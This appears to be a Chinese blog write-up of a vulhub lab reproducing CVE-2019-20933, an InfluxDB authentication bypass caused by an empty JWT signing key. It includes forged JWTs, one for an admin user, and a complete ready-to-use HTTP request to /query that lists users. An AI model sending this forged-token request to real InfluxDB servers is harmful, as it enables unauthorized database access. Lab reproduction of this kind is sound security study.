CVE-2019-20933-influxdb未授权访问-vulhub

1.原理

参考:https://blog.csdn.net/tqlisno1/article/details/109110644

InfluxDB 未授权访问 漏洞复现_influxdb未授权访问复现-CSDN博客

InfluxDB 是一个开源分布式时序、时间和指标数据库,使用 Go 语言编写,无需外部依赖。其设计目标是实现分布式和水平伸缩扩展,是 InfluxData 的核心产品。其使用 jwt 作为鉴权方式。在用户开启了认证,但未设置参数 shared-secret 的情况下,jwt 的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在 InfluxDB 中执行SQL语句。

影响:InfluxDB < 1.7.6

2.复现

使用docker镜像

访问页面看配置

访问/query,显示需要登录

由于influxdb输入信息使用jwt的验证方式生成令牌,在令牌中放入时间戳表示令牌的过期时间,本漏洞的产生原因是在生成jwt的时候该influxdb没有设置加密秘钥,我们直接生成一个用户

生成jwt https://jwt.io/

时间戳生成

时间戳(Unix timestamp)转换工具 - 在线工具

所以我们需要一个username和exp,exp填入的时间戳是一个未来的

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkpvaG4gRG9lIiwiZXhwIjoxNzIwNzAyNDQ2fQ.lao5PXaq14nU1C9InPZt7F-P0dxxLpcnc11C1nnbJkg

取消登录后发现出现这个页面,待会使用`Authorization: Bearer`方式提交我们的jwt,这 是一个 HTTP 头部字段,用于在客户端和服务器之间传输访问令牌(access token)。这种授权机制通常用于OAuth 2.0框架中,允许第三方应用访问用户在服务提供者上存储的受保护的资源。
抓包:

POST /query HTTP/1.1//改成post
Host: 192.168.61.10:8086
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzIwNzAyNDQ2fQ.kG23zjGNfMLfa8DLOxINHFqdEpEm5MQ5yRF85uzhodQ
Content-Length: 26
Content-Type:application/x-www-form-urlencoded//用post方式记得加上这条

db=sample&q=show+users//显示返回值

我出现的问题是返回错误值p,记得加上content-type,数据包内容我放在这了,改一下host就可以用了,修改q的值可以返回信息或者:
可以直接连接数据库,但是需要下载influxdb-client,我的kali突然下不了了,我就不做了,参考里面有

当然,记得做完要关闭容器

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值